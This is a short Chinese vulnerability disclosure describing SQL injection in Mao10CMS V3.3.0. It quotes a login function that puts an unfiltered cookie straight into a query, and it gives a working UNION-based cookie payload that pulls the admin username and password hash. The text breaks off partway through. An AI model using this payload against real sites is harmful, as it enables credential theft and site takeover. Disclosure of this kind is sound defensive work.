Mao10CMS V3.3.0 3处sql注入打包

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: rt。 ### 详细说明: #1 看到这个漏洞http://wooyun.org/bugs/wooyun-2010-090196 看看官方怎么修补的 /Application/User/Controller/RegisterController.class.php ``` $user_name = mc_magic_in(mc_remove_html($_POST['user_name'],'all')); ``` 有了过滤。看到 mc_user_id() ``` function mc_user_id() { $user_name = cookie('user_name'); $page_id = M('meta')->where("meta_key='user_name' AND meta_value='".$user_name."' AND type='user'")->getField('page_id'); $user_pass_true = mc_get_meta($page_id,'user_pass',true,'user'); if(cookie('user_name') && cookie('user_pass') && cookie('user_pass') == $user_pass_true) { return $page_id; } } ``` 由 session变成了cookie 而且没有过滤 那么我们就可以直接赋值进行注入了 exp: ``` user_name=' or meta_value='admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\') union select 1',0x23)# user_pass=1 ``` 火狐修改cookie [<img...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息